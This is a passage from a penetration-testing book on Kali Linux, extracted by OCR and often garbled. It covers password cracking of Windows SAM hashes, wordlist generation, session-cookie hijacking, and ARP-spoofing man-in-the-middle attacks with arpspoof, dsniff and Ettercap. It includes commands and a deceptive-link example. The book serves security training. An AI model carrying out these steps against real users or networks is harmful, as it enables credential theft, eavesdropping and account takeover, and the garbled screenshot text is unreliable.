1 dear (blank) user password
2 - edit [set new) user password (careful with this on KF* or Vista)

3 - Proiote user (rake user an a difrustrated
d - Lhlocli and enable user account [probably locked now]

q Quit editing userr back to user select
stltct; fq] >| www.freepdf-books.com
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Ophcrack
 is a Windows password cracker based on Rainbow tables. Kali offers a CLI 

and GUI version. Ophcrack can import hashes from a variety of formats including 
dumping directly from the SAM
some of the available formats to load into Ophcrack:

Ophcrack comes with built-in Rainbow tables, as shown in the following example. We 
recommend loading the latest Rainbow tables rather than using the default tables. 

http://itbookshub.com

G«4, U/G. t\
Tables Crack HelpLoad Delete Save Exit About

Single hash

PWDUMP file

Session file

Encrypted SAM

Preferences

.M Hash NT Hash LM Pwd 1 LM Pwd 2 NT Pwd_.

Table Directory Status Progress

Preload: waiting Brute force: waiting Pwd found: Time elapsed: Oh Om Os0/0
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Rainbow tables are available from online sources such as the developer's website 
http://ophcrack.sourceforge.net/tables.php.

To access ophcrack, go to Password Attacks |  and select either the 
CLI or GUI version. Click on Load, and select the 
(for example, a Windows SAM

http://itbookshub.com

ophcrack

G Oa. *t , U/ ‘ *

Load Aboutx Table Selection

Progress sta Table Directory Status

•XP free fast

•XP free small

•XP special

•XP german vl

•XP german v2

•Vista special

•Vista free

•Vista nine

•Vista eight

•Vista num

•Vista seven

•XP flash

•Vista eight XL

not installe
not installe
not installe
not installe
not installe
not installe
not installe
not installe
not installe
not installe
not installe
not installe
not installe

wdUser

Table

4

# = enabled J = disabled •= not installed

InstallJ OKA

Preload: waiting Brute force: waiting Pwd found: Time elapsed: Oh Om Os0/0

App-litaÿsnT Pile** 5C EH $Sun JuL 21, 2:06 PM

op he ruck

£1' O & CD
l4«d Delete Sane Tables Crock Help

Single- hash

PWOLMPfik

L -it About

Prtft/tiKM

Slash

c7aSftftiJc2_ rwtfeund

ntfdtcutt

KdfftStiHJrrt «Q9if2bdd... 74J35ec35 rot found

5c73M47c.

icisian fi> NT Ifiash LM Fwd 1 LM Pwd 2 NT Pwd

i1! H nc: found

•ÿd.sifclfd* fmpiy

nc-L found not sfcjnd

not found*disabled*

Tÿle D**cwy Stitsil
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For this example, we used the Kali ISO on a Windows machine and booted Kali in 
 mode. We browsed to the /windows/system32/config directory to get to 

the SAM database. You can learn more about using Kali Linux in the  mode 
in Chapter 7, Defensive Countermeasures, of this book. You can also 
of the SAM database directly with Kali.

http://itbookshub.com

W]
Applications Places % [>- 1 * m rootillSun Jul21. 2:07 PM x

Select the directory containing the encrypted SAM and SYSTEM flies.

20media 4CF45B8BF45B75E4 WINDOWS system32 config Create Folder

Places Name v Size Modified

Search

Recently Used

root

(9 Desktop

J File System

Q Floppy Drive

J43 GB Filesy...

systemprofile

AppEvent.Evt

05/09/2013

8:54

2.0 K8 18

default LOG 8:54

0 05/08/2013

SAM

10 KB 18:53

2013

18:54
P

SECURITY.LOG Q C4

MB 18:54

software.LOG

16.0 K

+ - SysEvent Evt

OpenCancel

°* ophcrack
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You should see the hash with the username and user ID. Click on the  button 
and wait for the password.

Crunch
 is a tool used to generate password lists. This can be extremely helpful if you 

are able to gather intelligence on how your target creates passwords. For example, if 
you capture two passwords and notice the target uses a phase followed by random 
digits, Crunch can be used to quickly generate a list of that phrase followed by all the 
possible random digits.

http://itbookshub.com

O © O G
Load Delete Save T abes Stop Help Exit About

Progress | Statistics

LM Hash | NT Hash
31D6CFEQ...

1EF82030F...
Administrator 9d483a84a... 33cc539403... GUESSME
Philippe
Guest

U LMPvvdl LM P\wd 2 |
empty

NT Pud *User

(Supervisor...
toto

001 GuessMeOOl
maison2
zf2YI1p5PltfAvP4

b906f7976d... b91e46819... MAISON2
3b5d42642... fff23d5f2a0... ZF2YI1P
eaef446f97... ac0516B2cd... TR3
ce304571fc... db129418a... !#%

da7e06bcbb...
al3aa0bf3a... f01d6862af..._

53Sf34eZeh
_

empty
5PKMWP4
empty
empty

tr3
(#%

o*.

Directory

•XP free fast /mnt/ext3/ta... 36% in RAM
36% in RAM
36% in RAM
36% in RAM
36% in RAM

/mnt/ext3/la 22% in RAM
43% in RAM
43% In RAM _

/mnt/ext3/la... 1 0% In RAM T

Table Status Progress

•tabled

•table1

•Iable2

•iabie3

•Vista free

•table1

•table3

I
ZD

]

]

•XP

Pwd foind: Time elapsed: Oh 2m 38sPreload Brute force: done 9/29done

crunch tfgrsicn 3r4

iCrunch can- create a wordlist based on criteria you specify a

nch tan bo sent to the screen, file, or to another program,
The autout frora cru

Usage: c punch *roax> [options]
whare min and nas are numbers

Please refer to the nan page for inst; ructions and exanples on how to use crunch.
|rDQtgkali:*#| "

__
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Crunch has special characters that translate to the following:

@: Inserts lowercase characters
%: Inserts numbers
,: Inserts uppercase characters
^: Inserts symbols

For this example, we will assume we know our target uses pass followed by two 
unknown characters in their password. To run Crunch for a six character password 
having pass followed by two unknown numbers, use %% to represent any number. 

newpasswordlist.txt, use the 
example input:

http://itbookshub.com

Ir'rxitnikali : -# crunch 6 6 -t passW* » neÿpasswo rdlist . txt
Crunch will new generate the following amount of data; 7G(? bytes
9 ME
0 GB
0 TB
e pe
[Crunch will now generate the following number of lines: IQS_

nr.vp , i r, f.V-' i>r ill i

File Edit Search Options Help

passG0
passOl
passG2
pass03
passO*
pass05
passG6
pass07
passQB

passGS
pass10
pass11
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To add all lowercase letters, use crunch 6 6 -t pass followed by @@ representing 
all the lowercase letters, as shown in the following example:

letters and numbers as shown in the  
following example:

Other tools available in Kali
There are other useful tools found in Kali. We have limited the list to utilities that 
assist with compromising host systems accessing web application servers. There are 
other password cracking tools available in Kali not shown in this list; however, the 
focus of those tools is out of scope for this text.

 is a Python utility used to identify hash types. Most password 
cracking tools such as John the Ripper include a auto-detection function for hashes 
which are very good and probably 90 percent accurate. This utility can be used to 
verify a hash type manually. To use  
a copy of the hash.

http://itbookshub.com

rootÿkdli:-* crunch 6 6 -t pass(M» » newpasswordlist.txt
Crunch will, now generate the following amount of data: 4732 bytes
9 MB
9 GB
9 TB
9 PB
Crunch will now generate
r ootÿkdli:-#

new p3*two rd lisM xt

File Edit Search Options Help

passbd
passbe
passbf
passbg
passbh
passbi
passb;
passbk
passbi
passbm
passbn
passbo
passbp
passbq
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The following screenshot shows an output of a hash:

dictstat
dictstat is a Python script utility used for password cracking results analysis or for 
a regular wordlist analysis. dictstat will analyze results and provide masks for 
brute-forcing password combinations that have already been cracked. This will  
likely provide clues for cracking more hashes in the bunch. This can be helpful  
when targeting a company with a password policy. The following screenshot  
shows the dictstat home screen:

http://itbookshub.com

File Edit View Terminal Help

#########################################################################
# #

A# /\ \/\ \
# \ \ \_\ \ _ _
# \ \ _ \ /'_A / »_

\ \ \ \ \/\ \_\ \_/\_, A \ \ \ \ \
\ \_\ \_\ \_ \_\A_/ \ \_\ /\
\/_/\/_/\/_/\/_/\/_/ \/J\/J V

/\ \ \ /\
\/_/\ V \ \ \/\ \

\ \ \
\_\ \

/\ #

\ \ \
\ \ \

#

A \ \ \ \ \
\ \ \_\ \

\ \ \
/ \/

#
# #

/# #
# _J vl.l #

By Zion3R #
www.Blackploit.com #

Root@Blackploit.com #

#
#
#

- - '"'"'f'S'S'SS'S’S'S'S'S' S'S’S’S’S! 's'S'S's'2'T.T.

HASH: b6ddc0aO5b31b438888a9886f 5da373a

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4( ($pass) ) . (strtolower($username) ) )

Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)

MD2 (HMAC)[ +

[?] Fsyeo Is not availablo. Install Ps-ye* on 32-felt systans for faster par-sing.
Usage L ditttiai [opt Ions| passwords . CJCE

Qpti<sfts;

- -version
-hr --help
'l --\efigth=6

show prog ran.'$ veriiLgn number and oxiE

show this htftp message and e*it
PassHond. length filter.

r? lowvrolCha, - r charset-l0«arolphfl
Password charset filter,

m stringdigit, nask=5t ringdigit
Password mask filter

‘O masks kt5vf - - flaskout put ,csv
Save "asks to a file

raetg&ivii i-9|
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To run dictstat, type dictstat [options] passwords.txt. The following 
screenshot shows an example of using dictstat:

RainbowCrack (rcracki_mt)
 is the hash cracking program that generates rainbow tables to be 

used in password cracking. RainbowCrack is different than the standard brute-force 
approach by using large pre-computed tables to reduce the length of time needed to 
crack a password. RainbowCrack is a decent application; however, there are many 
free Rainbow tables available for download, such as www.freerainbowtables.com. 
The following screenshot shows the RainbowCrack home screen:

http://itbookshub.com

i r-. Tij - 1 1 > s diccstdt / root /EJesktisp/AO.Ha. hath
[ ?t Pfcyco is not available, Instill Psyto on 3?-bit systww for faster parsing,
[*] Analyzing pssshrrds-: / root/Desk top/A\J .NO.flash
[*] Analyzing EL02/1023 pass-vards

NOTE: Statistics below is- relative to the nunber gf analyzed passwords. rat
total nunber of passwords

[“'I Line Count Statistics...
M 32: SDSÿ £102)

'“CSSiCLD HD C3DDES[ '! ?*a=k statistics...
i*i

[-] Chars*c statistics...
[*l lowarslphsnwn: Eft&% (E02)

[B| Advanced! Hask statistics,,,

i i i :• £|

H#Srtscÿr*fk 3.S
Copyright SOftl -28*10 HainppwCrsck PreJflCt. ATI righ-rs rntrvKl.
Off kill watiHifl: hTtp:/'/projeEt -rsinbcÿ:r*ck,!fo*/

usÿije: rcr«k rt_tiles frt_fHw ...1 -n hash
re.r«k rt_fll« fn_fHis ..,j -\ hash jUst_f lie
rtf-acK rt_fil« .[rt_fil« .,.i -r pwdjftp.ri'Le
repack rc”Ti\*a { n_fil*s . , , j -« p«djflp”fll*

path te- The ralhbow LafeI*(sK wildctorf*, 7} support*#
load iingfl* haiÿ

load haÿhoa fro* A file, each hash in a IIP*
load lflfiT-.ai-.3aar hashes fro* pwdLiqp file
load ntlm hashes fron priuTp file

hash algarithns, inp1anAnt«d in a'Lglibfi.sa:
In, plaintext Ion linit: Q - 7
ntln, ipl Alnt»xt_l cn linlE:: d - ]&

neft, p\aJ4nt*xt_len Unit: ft IS
Bhflt. jjlAintAKt ten Unit: 3 20

SÿWK’D-DKID!®
oraae-SYSTEH. Unit: 0
ii<S5-half, plainceHjLen 1J*It: 0 - 15

n_ riles:
-ft huh:
-l hash_lis£_fll*:.
-f pvrtJJno_ file:
-:n pwdunp_flle:

19

•xaipla; repack fc.rt -h 5d4M02afc<4G2a7Eb5<7L9dgnc-il7e552

re rack *.rt -l hash.tst
i H' .lMlk .i L i j-£
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 is a Python script, which uses a free online service to crack hashes.  
You must have Internet access before using this tool. The following screenshot  
shows findmyhash running a MD5 hash against multiple websites:

phrasendrescher
phrasendrescher is a modular and multi-processing pass phrase cracking tool. 
phrasendrescher comes with a number of plugins, as well as API that permits 
development of new plugins.

CmosPwd
 is used to crack the  ( ) password. 

CmosPwd lets you erase/kill, backup, and restore the CMOS.
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Tiniryhasb HKi -h b]9c{H0f5fcÿL{>300c97ec77abLad4G?

Cracking hash: bl9tddBTGbH£bB£ae97ei77ifiiad'102

t.I.fl. ,-J:- -i:r I.17VI-. I Zih : i'i’'p: .-ÿJv. "dv-. -.n - n-u . . :-
... not 'founS in h3snrr(jc<lng

AnaWzlna «lib bMhcracMnff (http ://yictorov .sul . . .
... ha'ih not found tn har."itracÿ:nq

Analysing *lth thflttflirn [fittp:7/nd&. thPKa:nB.(ls| .. .
... hasÿ not Touna in thaKain*

Analyzing vlib t mo [htip://*w.iaT*.org) ..
... ha&h not fountf in tntO

Analyzing MIIH rtanoizfl I httjfiftpfij realize,coni . . .
... tiaih not faun:: in rgdnai

M mmAnalysing with rcfi db <http:... hasti not found in irdB-db

Analyzing with ny-addr ( ht ip : /7rrd5.rry - adar.can h ...... ho&n not fountf in ny-atfdr

Analyzing with adSpas-s (http ://rrdÿDass.lrtfol • •
. .. has-n not faun: in mdEjHai
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creddump
creddump is a python tool to extract various credentials and secrets from Windows 
registry hives. creddump can extract LM and NT hashes (SYSKEY protected), cached 
domain passwords and LSA secrets.

Summary
Host systems are an authorized source that access web applications. Compromising 
an authorized resource could give a Penetration Tester approved access to a targeted 
web application. This concept is sometimes overlooked when Penetration Testing 
web applications.

In this chapter, we covered various methods to gain unauthorized access to host 
systems. The focus is using social engineering, identifying vulnerable hosts, and 
cracking passwords. There are many textbooks available that focus on hacking host 
systems, which could be useful when leveraged with the topics covered in this book. 

applications.

The next chapter will cover attacking how hosts authenticate to web applications.
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Attacking Authentication
Authentication is the act of 

Joseph 
Muniz is a government employee, as well as his laptop is issued by the government 
agency. As a Penetration Tester, it is valuable to be able to gain the trust of a system 
and bypass security as an authorized entity.

The  ( ) curriculum 
on three factor types, as follows:

Something you know, such as a PIN or password
Something you have, such as a smart card

they know, such as a password. We covered various ways to crack passwords in 
Chapter 4, Client Side Attacks, while attacking host systems. Cracking a password 
will get you access to some systems however, many targets will leverage multifactor 
authentication, meaning a combination of authentication steps to prove one's identity.

It is common that user authentication involves the use of a username and password 
combination. It becomes cumbersome for a user to enter this information every 
time authentication is required. To overcome this, single sign-on was created as a 
means to authenticate one to a central authority that is trusted by other websites. 
The central authority will verify trust on behalf of the user or device, so the user can 
access multiple secured systems without having to be prompted at each security 
gateway. A common trusted authority is a Windows domain controller, providing 
authentication for internal users to intranet resources. In such cases, compromising 
a trusted authority or account with high privileges could mean access to many other 
internal resources in this type of system.

http://itbookshub.com
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M
any governm

ent agencies leverage a 
 (PIV

) or 
 (

) along w
ith a passw

ord, to m
eet som

ething users have 
and know

. It is com
m

on for rem
ote w

orkers to use a digital token that produces 
a fresh num

ber every few
 seconds along w

ith a PIN
 to represent som

ething they 

along w
ith PIN

 for access. N
etw

ork access control technology m
ay verify how

 a 

the identity of system
 and user prior to providing netw

ork resources. It is critical to 
identify the m

ethod of authentication used by your target during the reconnaissance 
phase of a Penetration Test, so you can plan out a strategy to bypass that trust.

The focus of this chapter is around how
 users and devices authenticate to w

eb 
applications w

ith the goal of com
prom

ising that trust. W
e w

ill start by attacking the 
process of m

anaging authentication sessions, w
hich is how

 trust is established betw
een 

the client and the server. N
ext, w

e w
ill focus on clients by attacking how

 data is stored 
on host system

s through cookie m
anagem

ent. From
 there, w

e w
ill look at hiding in 

betw
een the client and server using m

an-in-the-m
iddle attack techniques. The last 

topics w
ill be identifying and exploiting w

eakness in how
 w

eb applications accept 
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Attacking session management
Authentication and session management make up all aspects of handling user 
authentication and managing active sessions. With regards to web applications,  
a session is the length of time users spend on a website. Best practice is managing 
authorized sessions (that is, what you are permitted to access), based on how people 
and devices authenticate as well as, controlling what and how long resources 
are available during the active session. This makes authentication a key aspect of 
managing authorized sessions.

The goal for a Penetration Tester is to identify accounts that are permitted access to 
sessions with high-level privileges, and unlimited time to access the web application. 
This is why session management security features, such as session timeout intervals 

application post user logout, and using that session for another person (also known 

Session management attacks can occur using vulnerabilities in applications or how 
users access and authenticate to those applications. Common ways attackers do this 

covered later in this chapter. Attackers can also take advantage of session cookies in 
web browsers or vulnerabilities in web pages to achieve similar results. Let's start off 
by looking at a technique used to trick users into divulging sensitive information, or 

Clickjacking
Clickjacking is a technique where an attacker tricks a user into clicking something 
other than what they believe they are clicking. Clickjacking can be used to reveal 

attacker to take control of the victim's computer. Clickjacking usually exposes a 
web browser security issue or vulnerability using embedded code or script that 
executes without the victim's knowledge. One example of performing clickjacking is 
having the hyperlink text to a trusted site different than the actual site. The average 
user doesn't verify hyperlinks prior to clicking, or notices changes associated with 
common clickjacking attempts, making this a very effective form of attack.

In the following example, the user will see  however, when 
they click on the text, they will actually be redirected to www.badfacebook.com.

<a href="http://www.badfacebook.com">Visit Us on Facebook.com</a>
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Clickjacking can be more malicious and complicated than changing hyperlinks. 
Attackers who use clickjacking normally embed iFrames into a webpage. The content 
of the iFrames contains data from the target website and usually placed over a 

To craft your own clickjacking attack, you can use the clickjacking tool by Paul Stone, 
which can be downloaded at: http://www.contextis.com/research/tools/
clickjacking-tool/.

Once you have downloaded the tool, you can use it to take code from another 
website, such as a voting button or a like button. The clickjacking tool works with 
Firefox 3.6. The tool by Paul Stone will not work with newer versions of Firefox; 
however, you can run multiple versions of Firefox on the Kali arsenal including 
Firefox 3.6 or older.

Website code often changes, so make sure to adjust your attacks to 
accommodate updates that mirror the trusted website.

Hijacking web session cookies
Cookies are a small piece of data sent from a website and stored on a user's web 
browser while the user is accessing the website. The website can use a cookie to 
verify the user's return to the site and obtain details about the user's previous 
activity. This can include what pages were accessed, how they logged in, and what 
buttons were pressed. Anytime you log into a website, such as Facebook, Gmail, or 
Wordpress, your browser assigns you a cookie.
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Cookies can include tracking history from users for long periods of time, including 
behavior on a website years ago. Cookies can also store passwords and form values 

for their consumers. A session token is delivered from a web server anytime a host 
authenticates. The session token is used as a way to recognize among different 
connections. Session hijacking occurs when an attacker captures a session token and 
injects it into their own browser to gain access to the victim's authenticated session. 
Essentially, it is the act of replacing an attacker's unauthorized cookie with a victim's 
authorized cookie.

There are some limitations of session hijacking attacks:

Stealing cookies is useless if the target is using https:// for browsing, and 
end-to-end encryption is enabled. Adoption has been slow; however, most 
secured websites provide this defense against session hijacking attacks.

You can use SSLstrip as a method to prevent your target from establishing 
an https connect prior to launching a session hijack or other attack. See 
Chapter 3, Server-Side Attacks, for more information on SSLstrip.

Most cookies expire when the target logs out of a session. This also logs 
the attacker out of the session. This is a problem for some mobile apps that 
leverage cookies that don't expire, meaning an attacker could gain access  
for life if a valid session token is captured.

Many websites do not support parallel logins, which negates the use of a  
stolen cookie.

Web session tools
The next section will cover tools used for Penetration Testing web sessions.  
Some tools are not available in Kali1.0; however, they can be obtained online.
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Firefox plugins
The manual method to perform a session hijack is stealing a victim's authentication 
cookie. One way to accomplish this is injecting a script on a compromised web 
application server so cookies are captured without the victim's knowledge. From 
there, the attacker can harvest authentication cookies and use a cookie injector tool  
to replace the attacker's cookie with an authorized stolen cookie. Other methods used 

cookies will be covered later in this book.

The Firefox web browser offers many plugins that can be used to inject stolen cookies 
into an attacker's browser. Some examples are GreaseMonkey, Cookie Manager, and 
FireSheep. We suggest browsing the Firefox plugins marketplace for various cookie 

Firefox and all associated plugins are not installed by default 
on Kali Linux 1.0.

Firesheep is a classic Penetration Testing tool used to audit web sessions. Firesheep 
is an extension for the Firefox web browser; however, some versions have been 
unstable with recent Firefox releases. Firesheep acts as a packet sniffer that intercepts 
unencrypted cookies from websites while they transmit over a network.

Firesheep plugin for Firefox is 
MAC, making it cumbersome to operate on Linux. Custom work can be 
used to make Firesheep operational on a Linux environment; however, 
it is recommended to use a more current tool.

Web Developer is an extension for Firefox that adds editing and debugging tools for 
web developers. Web Developer can be downloaded for free from the Firefox plugin 
store. One feature in Web Developer useful for session hijacking is the ability to edit 
cookies. This can be found as a drop-down option from the Firefox browser once 
Web Developer is installed, as shown in the following screenshot:
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Select  and you will see stored cookies. You can click 
on  to bring up the cookie editor and replace the current cookie with a 
victim's stolen cookie.
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Greasemonkey is a Firefox plugin that allows users to install scripts that make on the 
after the page is loaded. Greasemonkey 

can be used for customizing a web page appearance, web functions, debugging, 
combining data from other pages, as well as other purposes. Greasemonkey is 
required to make other tools, such as Cookie Injector, function properly.

Cookie Injector is a user script that 
cookies. There are a lot of manual steps to import a cookie from a tool like Wireshark 
into a web browser. Cookie Injector allows the user to copy paste a cookie portion of 
a dump, and have the cookies from the dump automatically created on the currently 
viewed web page.

You must have Greasemonkey installed to use the Cookie Injector script.

To install Cookie Injector, search Google for Cookie Injector to bring up a download 
link for the script. When you select to download Cookie Injector, Greasemonkey will 
pop up, prompting your approval for the install.

After installing the Cookie Injector script, press Alt+C to display the cookie dialog. 
Paste a copied Wireshark string into the input box and click on  to inject cookies 
into the current page. See the Wireshark section on how to copy cookies for Cookie 
Injector using Copy, Bytes, and select  in Wireshark. The next 
two screenshots show pressing Alt+C, pasting a  and 
clicking  to see the pop-up that the captured cookies have been written into the 
Internet browser.
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Cookies Manager+ is a utility used to view, edit, and create new cookies. Cookie 
Manager+ shows detailed information about cookies, as well as can edit multiple 
cookies at once. Cookie Manager+ can also back up and restore cookies. You can 
download Cookie Manager+ from the Firefox plugin store.

Once installed, Cookie Manager+ can be accessed under Tools, by selecting  

Cookies Manager+ will show you all cookies captured by Firefox. You can scroll 

looking for any cookie associated with www.thesecurityblogger.com.
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Cookies Manager+ makes editing existing cookies easy. This can be useful for 

Cookie Cadger

Cookie Cadger is a Penetration Testing tool used to audit web sessions. Cookie 
Cadger can include detailed HTTP request capturing and replaying insecure HTTP 
GET requests, such as requested items, user agents, referrer and basic authorization. 
Cookie Cadger can provide live analysis for Wi-Fi and wired networks; as well as 

determine if the user is logged into webpages like Wordpress and Facebook. Cookie 
Cadger is considered by some as Firesheep on steroids.

Cookie Cadger does not come with Kali 1.0.

Cookie Cadger can be downloaded from www.cookiecadger.com. The download 

pop up asking if you want to enable session detection. Click on Yes, and the main 
dashboard will pop up. The next two screenshots show the Cookie Cadger 1.0  

 
Cadger dashboard.
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To start, select the appropriate interface, and click on . Cookie Cadger 
offers the ability to take in multiple interfaces if available.

http://itbookshub.com

ftopt
CookieCadger-1.0.

jar

Enable Session Detection?

Session detection replays web requests in the background and analyzes
them for evidence that a user is logged in. Enabling session detection
will cause Cookie Cadger to utilize a larger amount of available
system resources.

By enabling this feature you also understand that:

1) Cookie Cadger will (potentially) automatically impersonate any
network user without their explicit permission or interaction on your part.

2) The legality of doing so varies between jurisdictions. It is your
responsibility to understand and comply with any applicable laws.

Would you like to enable session detection?

| fceg! | [ No

Cookie Cadger

File Edit Help

E [ethO [no description] Start Capture on ethO

Requests | Recognized Sessions |

J |Filter Domains|Filter MACS I Filter Requests

Load Domain Cookies Replay Request Modify & Replay Request

4. lo
Capture device search completed with 4 devices found.

Cookie Cadger (vl.OO, https
Created by Matthew Sulliva
This software is freely distributed under

://cookiec
n - mattsl

adg
ifeb

er.com)

yte*
the

s.com
terms of the FreeBSD license.

www.freepdf-books.com



Attacking Authentication

[ 186 ]

Cookie Cadger can enumerate all the devices found on the available network.  
For example, the next screenshot shows a Linux i686 using Firefox and Iceweasel.

hostnames. You can copy requests to the clipbox and export information such as  
user information, and MAC addresses. Filter tabs are available for each section to 

Anytime Cookie Cadger recognizes a login session, it captures it and gives the ability 
to load the session. The next screenshot shows a session capture of the administrator 
logging into www.thesecurityblogger.com. Cookie Cadger will show an icon and 
explain the type of session captured. This could be a Hotmail, Facebook, or in this 
example, Wordpress login.
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To see the recognized sessions, click on the tab labeled Recognized Sessions 
and pick a session from the window, as shown in the previous screenshot. Once 
highlighted, click on the Load Selected Session button to replay the session. Cookie 
Cadger will display Loading on the bottom window, and a browser will open logged 
in as the user during the captured session. The following screenshot shows opening 
a Domain cookie captured from the victim. Once the loading is complete, the default 
Internet browser will open the captured page with the rights associated with the 
stolen cookie.

To see the session request information, right-click on the icon of the captured session 
and select View Associated Request. This will bring you back to the Requests tab 
and show that session.

Wireshark

Wireshark is one of the most popular, free, and open source network protocol 
analyzers. Wireshark is preinstalled in Kali and ideal for network troubleshooting, 

with the goal of capturing session tokens. Wireshark uses a GTK+ widget toolkit to 
implement its user interface and pcap to capture packets. It operates very similarly to 
a tcpdump command; however, acting as a graphical frontend with integrated sorting 
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Wireshark can be found under /  | Network Sniffers, and selecting 
Wireshark as well as under the Top 10 Security Tools category.

select the  tab and Interfaces. You will see the 
available interfaces to capture. In my example, I'm going to select eth0 by clicking  
on the checkbox next to eth0 and selecting Start.

capturing doesn't support promiscuous mode, or because your 
OS can't put the interface into promiscuous mode. More on the 
different capture modes and troubleshooting can be found at 
www.wireshark.org.
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organization of data via the top 
tables, such as protocol or destinations.

such as parameters for unsecured cookies like http.cookie. For example, Gmail by 
default is encrypted; however, you can turn off https and seek out the GX parameter 
contained in a http.cookie to identify unsecured Gmail cookies. The following 
screenshot shows capturing the cookie from logging into a Wordpress blog:
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Once you capture an unsecured cookie, you must use another tool to inject it into 
your browser to complete the session hijacking. Choose the victims cookie, right-
click on the line, and select  | Bytes | . Now, you can paste 
this into a Cookie Injector, such as the Firefox plugin Cookie Injector. See Cookie 
Injector to complete the session hijacking attack under Firefox plugins.

You must have Greasemonkey and Cookie Injector to copy/paste 
into the Firefox browser.

There are many useful tools available that support Wireshark captures and simplify 
data found. An example is NetWitness Investigator that can be downloaded for free 
from www.emc.com.

Hamster and Ferret
Hamster is a utility used to steal cookies using HTTP session hijacking with passive 

also known as Sidejacking. Hamster eavesdrops on a network, captures any 
seen session cookies, and imports stolen cookies into a browser GUI environment so 
the attacker can replay the session. Hamster uses Ferret to grab session cookies.

Hamster can be accessed by navigating to /  | WebSniffers and 
selecting Hamster.

When you launch Hamster, a Terminal will open starting the Hamster service. The 
default proxy IP will be 127.0.0.1:1234.

You can access Hamster by opening a browser and navigating to 
http://127.0.0.1:1234.
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to use by clicking the adapters link. For my example, I'm going to sniff eth0.

Hamster will redirect you to a Sidejacking activity page. You will notice you are not 

by accessing /  | Web Sniffers and selecting . A Terminal 
window will pop up with some options. Type in ferret -i INTERFACE to select 
the interface to sniff with Ferret. Ferret will tell you it's 

as text in Ferret.
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Once Ferret is running, navigate back to Hamster, and you should start to  
see packets. Any targets on the network will appear. Click on a target to see  
captured cookies.

Click on any cookie to access the capture session. In my example, I replay accessing 
www.thesecurityblogger.com.
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Man-in-the-middle attack
A man-in-the-middle attack is a form of active eavesdropping in which the attacker 
makes a connection with victims and relays messages between victims, making them 
believe they are talking directly to each other. There are many forms of this attack, 
such as using a Hak5 Pineapple wireless router that pretends to be a trusted wireless 
access point while really acting as a man-in-the-middle between a victim and 

Many cloud services such as Facebook and Gmail leverage secure login 
via HTTPS, which prevents a generic man-in-the-middle attack. To bypass 
HTTP Secure, you can use SSLstrip, which will reveal all login information 
to your man-in-the-middle attack. The SSLstrip / man-in-the-middle 
combination is a very effective method to steal victim's login credentials, if 
you have an attack system on the same network as the target system(s).

dsniff and arpspoof
parse different application protocols and extract relevant information.

arpspoof is used when an attacker sends fake address resolution protocol (ARP) 
messages into a local area network. The goal of this process is to associate the 

meant for the IP address to be sent to the attacker instead.

One manual method to perform a man-in-the-middle is using arpspoof and dsniff 
IP address of your victim 

and default gateway of the network using techniques from Chapter 2, Reconnaissance 
– Core Concepts, Once you know the IP addresses, you need to tell your victim you 
are really another system or the default gateway. For example, if victim one is 
172.16.76.128, the default gateway is 172.16.76.2, and the attacker is 172.16.76.131, 
you would set your 131 IP address to look like the victim and default gateway using 
the arpspoof command.

Open two Terminal windows and type the following commands in each window to 
spoof your victims:
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TERMINAL 1:

arpspoof -t 172.16.76.128 172.16.76.2  // tells victim 2 you are the 
default gateway

TERMINAL 2:

arpspoof -t 172.16.76.2 172.16.76.128  // tells victim 1 you are the 
default gateway

the victim and default gateway.

Open a third Terminal window and type:

echo 1> /proc/sys/net/ipv4/ip_forward

between the victim and default gateway while 
going through the attacker system. The following screenshot shows the ping fail 
while IP forward is not enabled.
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.s-at 0 :c :29 :4

.s-at 0:c:29:4

............echo 1 > /p roc/sys/net/ipv4/lp_fo rward
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/  
| Network Sniffers, and selecting dsniff. A Terminal window will open, displaying 
the usage commands for dsniff, as shown in the following screenshot:

To start dsniff, type dsniff and select the interface to sniff using -i and the 
interface. For my example, I typed dsniff to sniff eth0 as shown  
in the following screenshot:

dsniff will catch any login information. If a victim logs into a system via FTP for 
example, you will see the login attempt and credentials once the session is closed, 
because dsniff needs to see the entire session.
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Ettercap

Ettercap is a free and open source comprehensive suite for man-in-the-middle-based 
attacks.

Ettercap can be used for computer network protocol analysis and security auditing, 

dissection of multiple protocols. Ettercap works by putting the attacker's network 
interface into promiscuous mode and ARP for poisoning the victim machines.

To launch Ettercap, navigate to /  | Network Sniffers and select 
the Ettercap graphical.

interface you plan to sniff. Navigate to the Sniff tab, 
 or ) and the interface you plan 

to sniff.
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Now; Ettercap will show more menu options, as shown in the following screenshot:

Let's scan the network for available hosts. Navigate to the Hosts and select Scan for 
hosts. Ettercap will quickly scan the entire class C

The following screenshot shows four devices 
found during a scan.

In this example, we found four devices. We can assume .1 is the router, and we 
will be targeting the victim machine .128. Let's select the router for Target 1 and 
the victim .128 for Target 2. This will place our system between both the victim 
and router for a classic man-in-the-middle attack. Select each target, and click the 
appropriate check box. You can verify the targets by navigating to Targets and 
selecting .
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Next, we can look at the man-in-the-middle options found under the tab Mitm. 
There are options for Arp poisoning..., , Port stealing..., and Dhcp 

. For this example, we will select Arp poisoning... and choose the Sniff 
remote connections parameter.

information, such as username and password information, can be captured and 
displayed in the execution window.

Driftnet
Driftnet requires a man-in-the-middle attack to be established prior to working. You 
can leverage the arpspoof and dsniff or Etthercap methods previously covered to 
launch your man-in-the-middle attack prior to launching Driftnet. Driftnet can be 
run simultaneously to give you quickly the visibility of all images  
the wire.

http://itbookshub.com
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Driftnet can be found under /  | Web Sniffers and selecting 
Driftnet. Driftnet will open as a Terminal displaying how to use the tool. You will 
need to specify which interface you want to sniff and what you want to do with 
images captured off the wire. For example, you can choose to have a beep sound 
for every image using the –b command, display images on the terminal screen, or 
send captured images to a directory. The screenshot provided shows an example of 
capturing images from eth0 and placing those images in a folder located at /root/
Desktop/CapturedImages.

The following example assumes an existing man-in-the-middle attack is 
established using eth0 as the listening port.

Once Driftnet is launched, a separate blank Terminal window will pop up. If you 
have told Driftnet to display images, they will appear in this window. If you selected 
not to display images, such as using –a, images will not appear; however, be sent to 

driftnet 
www.drchaos.com.

http://itbookshub.com

]
|| root(gkali: —# echo 1 > /proc/sys/ngt/ipv4/ip_f onward

m wigi

t

JohnR'P(vr ,

ICnmiT;-;

www.freepdf-books.com



Attacking Authentication

[ 200 ]

SQL Injection
A database stores data and organizes it in some sort of logical manner. Oracle and 

users to create multiple types of databases used to store, query, and organize data  
in creative ways.

common programing language that is understood by most database management 
systems. It provides a common way for application to access the data in the database 
by using a common set of commands the database can understand.

Attackers exploit these databases by making them output information that they 
